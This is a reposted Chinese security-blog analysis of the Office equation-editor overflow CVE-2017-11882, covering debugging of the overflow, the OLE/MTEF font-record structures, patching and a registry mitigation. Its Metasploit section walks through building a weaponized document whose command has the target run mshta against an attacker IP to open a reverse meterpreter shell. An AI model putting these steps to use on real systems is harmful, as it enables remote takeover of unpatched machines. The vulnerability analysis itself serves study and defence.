为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

Office系列漏洞经典案例分析与利用

2018-9-8 07:28| 投稿: xiaotiger |来自: 互联网

摘要: 四维漏洞播报1漏洞简介CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度 ...

四维漏洞播报

1

漏洞简介

CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。

2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本。

漏洞基本信息

漏洞ID

CVE-2017-11882

漏洞名称

Microsoft Office数学公式编辑器内存损坏漏洞

漏洞类型

远程代码执行

威胁类型

栈溢出

影响版本

Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016

2

漏洞测试

系统环境

Win7 32

Microsoft Office

2013 sp1

生成测试漏洞文件

https://github.com/Ridter/CVE-2017-11882

使用Command_CVE-2017-11882.py脚本生成漏洞文件。


有两种方式,我们先测试第一种弹出计算器。

3

漏洞定位

由于缓冲区溢出函数处于EQNEDT32进程中,所以对它进行调试分析,打开漏洞文件会弹出计算器,一般采用Winexec函数调用,可对该函数进行下断,然后进行逆推找出溢出点。

首先把eqnedt32.exe拖进od运行(或打开后进行附加),然后定位WinExec进行下断,打开漏洞文件test.doc,此时断点会停在WinExec函数上,


由于漏洞利用采用函数覆盖返回地址,那我们可以从栈中找出漏洞函数的上层或上上层函数继续进行分析,


在4115A7函数上下好断点,重新打开漏洞文件,断下后进行步过(F8)分析,在步过第一个call后并没有返回,而是直接弹出了计算器,这就说明漏洞溢出点在这个call里面,也就是把栈中返回地址4115D8进行了覆盖,从而转向shellcode执行。



上图是调用41160F,栈中保存的原始返回地址



在copy字体名字的时候,由于没有校验名称长度,导致缓冲区溢出,从而过长的数据覆盖了该函数的返回地址4115D8。



IDA分析可以看到[ebp+28]就是溢出缓冲区。



[ebp+28]分配的空间是0x24,超过此长度就会产生溢出,从而覆盖返回地址。

在经过溢出点后,原始返回地址4115D8被覆盖成402114。



这里覆盖后的地址是402114,Retn后回转到该地址处执行,



Retn执行后会转向12F350处,存放的就是FONT[name]数据,也就是shellcode。



Shellcode中call WinExec函数弹出calc.exe。


成功弹出计算器。


4

数据结构分析

漏洞出现在模块EQNEDT32.EXE中,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于word、excel等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。

Equation Native数据流 = EQNOLEFILEHDR + MTEFData,其中

MTEFData = MTEFheader + MTEF Byte Stream

EQNOLEFILEHDR头结构(共28字节)如下

struct EQNOLEFILEHDR {

WORD cbHdr; // 格式头长度,固定为0x1C。

DWORD version; // 固定为0x00020000。

WORD cf; // 该公式对象的剪贴板格式。

DWORD cbObject; // MTEF数据的长度,不包括头部。

DWORD reserved1; // 未公开

DWORD reserved2; // 未公开

DWORD reserved3; // 未公开

DWORD reserved4; // 未公开

};

对应的数据如下图:


MTEF header

byte

description

value

0

MTEF version

3

1

generating platform

0 for Macintosh, 1 for Windows

2

generating product

0 for MathType, 1 for Equation Editor

3

product version

3

4

product subversion

0

MTEF Byte Stream

value

symbol

description

0

END

end of MTEF, pile, line, embellishment list, or template

1

LINE

line (slot) record

2

CHAR

character record

3

TMPL

template record

4

PILE

pile (vertical stack of lines) record

5

MATRIX

matrix record

6

EMBELL

character embellishment (e.g. hat, prime) record

7

RULER

ruler (tab-stop location) record

8

FONT

font name record

9

SIZE

general size record

10

FULL

full size record

11

SUB

subscript size record

12

SUB2

sub-subscript size record

13

SYM

symbol size record

14

SUBSYM

sub-symbol size record

参考:http://rtf2latex2e.sourceforge.net/MTEF3.html

数据 8 对应的数据类型为FONT,记录及结构如下:

struct stuFontRecord {

  BYTE bTag; // 字体文件的tag位0x08

  BYTE bTypeFace; // 字体风格

  BYTE bStyle; // 字体样式

  BYTE bFontName[n] // 字体名称,以NULL为结束符

};

字段

说明

Tag

0×08

1字节,固定为0×08

tface

typeface number

1字节,Typeface编号

style

1或者2

1字节,1表示斜体,2表示粗体

name

Font name (null-terminated)

字体名字,以Null结尾

对应的数据如下图

5

RTF结构分析


其中,\objupdate控制字来保证OLE对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。

对漏洞文件ole对象分析


可以看到插入了数学公式ole对象

查看ole对象的目录结构


可以看到ole对象中包含了Equation Native流

使用olebrowse工具查看Equation Native 流

6

MSF利用


环境准备

目标机

Win7以及具有该漏洞的office

攻击机

Kali linux

Msf组件

https://github.com/0x09AL/CVE-2017-11882-metasploit

首先下载组件

把cve_2017_11882.rb copy到

/usr/share/Metasploit-framework/modules/exploits/windows/smb



再Copy cve-2017-11882.rtf 到/usr/share/metasploits


framework/data/exploits

启动metasploit


使用search命令查找11882对应模块,用命令use exploit/windows/smb/cve_2017_11882

show options查看要设置的参数


设置一个反弹式的meterpreter攻击载荷

设置本机ip以及URI路径


使用命令exploit -j 返回结果会显示出与目标主机的哪个端口建立了连接


生成目标机的漏洞文档,命令如下

Python Command109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test” -o test.doc

这里的为攻击机的ip,端口设置8080以及URI设置test,生成后,在目标机打开该文档。


如果成功,meterpreter会显示返回连接信息,如失败,可能是参数错误或者其它错误

成功后,使用命令sessions -l 查看你控制的pc

使用命令sessions -i 1 切换进入,输入shell,进入cmd,whoami,OVER。

7

修复漏洞

(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

取消该模块的注册

(1)按下Win+R组合键,打开cmd.exe

(2)输入以下两条命令:

reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

参考资料:主要来自freebuf、pediy、csdn等平台

近期热点

·

四维创智荣登Future Power 50安全新锐力量!


·

四维创智蝉联KCon 兵器谱,无线环境安全监管一步到位!

· 四维创智助力国家电网蓝队2018年网络安全技术培训


· 四维创智与启明星辰达成战略合作,成为云众可信合作伙伴

· 软件之夜星光熠熠,四维创智实力斩获工业互联网安全奖项!


· 四维创智荣获2018年中国物联网安全行业最具影响力企业奖

· 山东省“企业上云”峰会|四维创智正式入驻“山东安全云”平台并发表主题演讲


小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6598421119059886599/

免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部